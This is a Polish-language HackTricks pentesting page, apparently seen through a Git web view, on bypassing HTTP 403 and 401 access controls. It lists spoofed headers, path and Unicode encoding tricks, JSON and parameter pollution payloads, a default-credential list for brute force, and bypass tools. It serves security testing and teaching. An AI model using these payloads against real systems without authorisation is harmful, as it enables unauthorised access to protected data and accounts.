hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

154 lines
9.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Bypassy 403 i 401
<details>
<summary><strong>Zacznij od zera i stań się ekspertem AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
**Natychmiastowe dostępne narzędzie do oceny podatności i testów penetracyjnych**. Uruchom pełne testy penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują od rozpoznania po raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie powłok i dobrą zabawę.
{% embed url="https://pentest-tools.com/" %}
## Fuzzowanie Metod/Werbsów HTTP
Spróbuj użyć **różnych werbów** do dostępu do pliku: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
* Sprawdź nagłówki odpowiedzi, być może zawierają jakieś informacje. Na przykład **odpowiedź 200** na **HEAD** z `Content-Length: 55` oznacza, że **werb HEAD może uzyskać dostęp do informacji**. Nadal jednak trzeba znaleźć sposób na wydostanie tych informacji.
* Użycie nagłówka HTTP takiego jak `X-HTTP-Method-Override: PUT` może nadpisać użyty werb.
* Użyj werbu **`TRACE`** i jeśli masz szczęście, być może w odpowiedzi zobaczysz również **nagłówki dodane przez pośrednie serwery proxy**, które mogą być przydatne.
## Fuzzowanie Nagłówków HTTP
* **Zmień nagłówek Host** na jakąś arbitralną wartość ([co zadziałało tutaj](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* Spróbuj [**użyć innych agentów użytkownika**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) do dostępu do zasobu.
* **Fuzzuj Nagłówki HTTP**: Spróbuj użyć Nagłówków Proxy **Headers**, podstawowej autentykacji HTTP i próby siłowej NTLM (tylko z kilkoma kombinacjami) oraz inne techniki. Do tego celu stworzyłem narzędzie [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
* `X-Forwarded: 127.0.0.1`
* `Forwarded-For: 127.0.0.1`
* `X-Remote-IP: 127.0.0.1`
* `X-Remote-Addr: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
* `X-Original-URL: 127.0.0.1`
* `Client-IP: 127.0.0.1`
* `True-Client-IP: 127.0.0.1`
* `Cluster-Client-IP: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
* `Host: localhost`
Jeśli **ścieżka jest chroniona**, można spróbować ominąć ochronę ścieżki, używając tych innych nagłówków:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* Jeśli strona jest **za proxy**, być może to proxy uniemożliwia dostęp do prywatnych informacji. Spróbuj nadużyć [**Podwójnego Przesyłania Żądań HTTP**](../../pentesting-web/http-request-smuggling/) **lub** [**nagłówków hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
* Fuzzuj [**specjalne nagłówki HTTP**](special-http-headers.md), szukając różnych odpowiedzi.
* **Fuzzuj specjalne nagłówki HTTP** podczas fuzzowania **Metod HTTP**.
* **Usuń nagłówek Host** i być może uda ci się ominąć ochronę.
## Fuzzowanie Ścieżki
Jeśli _/ścieżka_ jest zablokowana:
* Spróbuj użyć _**/**_**%2e/ścieżka \_(jeśli dostęp jest blokowany przez proxy, to może ominąć ochronę). Spróbuj również**\_\*\* /%252e\*\*/ścieżka (podwójne kodowanie URL)
* Spróbuj **ominięcia Unicode**: _/**%ef%bc%8f**ścieżka_ (Zakodowane znaki URL są jak "/"), więc po zdekodowaniu będzie to _//ścieżka_ i być może już ominąłeś sprawdzanie nazwy _/ścieżka_
* **Inne omijania ścieżki**:
* site.com/secret > HTTP 403 Forbidden
* site.com/SECRET > HTTP 200 OK
* site.com/secret/ > HTTP 200 OK
* site.com/secret/. > HTTP 200 OK
* site.com//secret// > HTTP 200 OK
* site.com/./secret/.. > HTTP 200 OK
* site.com/;/secret > HTTP 200 OK
* site.com/.;/secret > HTTP 200 OK
* site.com//;//secret > HTTP 200 OK
* site.com/secret.json > HTTP 200 OK (ruby)
* Użyj całej [**tej listy**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) w następujących sytuacjach:
* /FUZZsecret
* /FUZZ/secret
* /secretFUZZ
* **Inne omijania API:**
* /v3/users\_data/1234 --> 403 Forbidden
* /v1/users\_data/1234 --> 200 OK
* {“id”:111} --> 401 Nieautoryzowany
* {“id”:\[111]} --> 200 OK
* {“id”:111} --> 401 Nieautoryzowany
* {“id”:{“id”:111\}} --> 200 OK
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (Zanieczyszczenie Parametru JSON)
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Zanieczyszczenie Parametru)
## **Manipulacja parametrami**
* Zmień **wartość parametru**: Z **`id=123` --> `id=124`**
* Dodaj dodatkowe parametry do adresu URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
* Usuń parametry
* Zmień kolejność parametrów
* Użyj znaków specjalnych.
* Przeprowadź testowanie granic w parametrach — podaj wartości takie jak _-234_ lub _0_ lub _99999999_ (tylko przykładowe wartości).
## **Wersja protokołu**
Jeśli używasz HTTP/1.1, **spróbuj użyć 1.0** lub nawet sprawdź, czy **obsługuje 2.0**.
## **Inne sposoby ominięcia**
* Pobierz **IP** lub **CNAME** domeny i spróbuj się z nią **bezpośrednio skontaktować**.
* Spróbuj **obciążyć serwer** wysyłając zwykłe żądania GET ([To zadziałało dla tego gościa z Facebookiem](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* **Zmień protokół**: z http na https, lub z https na http
* Przejdź do [**https://archive.org/web/**](https://archive.org/web/) i sprawdź, czy w przeszłości ten plik był **dostępny na całym świecie**.
## **Atak siłowy**
* **Zgadnij hasło**: Wypróbuj następujące powszechne dane uwierzytelniające. Czy wiesz coś o ofierze? Lub nazwie wyzwania CTF?
* [**Atak siłowy**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Wypróbuj podstawowe, digest i uwierzytelnianie NTLM.
{% code title="Powszechne dane uwierzytelniające" %}
```
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
```
{% endcode %}
## Automatyczne narzędzia
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
* [Rozszerzenie Burp - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
**Natychmiastowa konfiguracja dostępna do oceny podatności i testów penetracyjnych**. Uruchom pełne testy penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują od rozpoznania po raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie powłok i dobrą zabawę.
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>Zacznij od zera i zostań ekspertem w hakowaniu AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>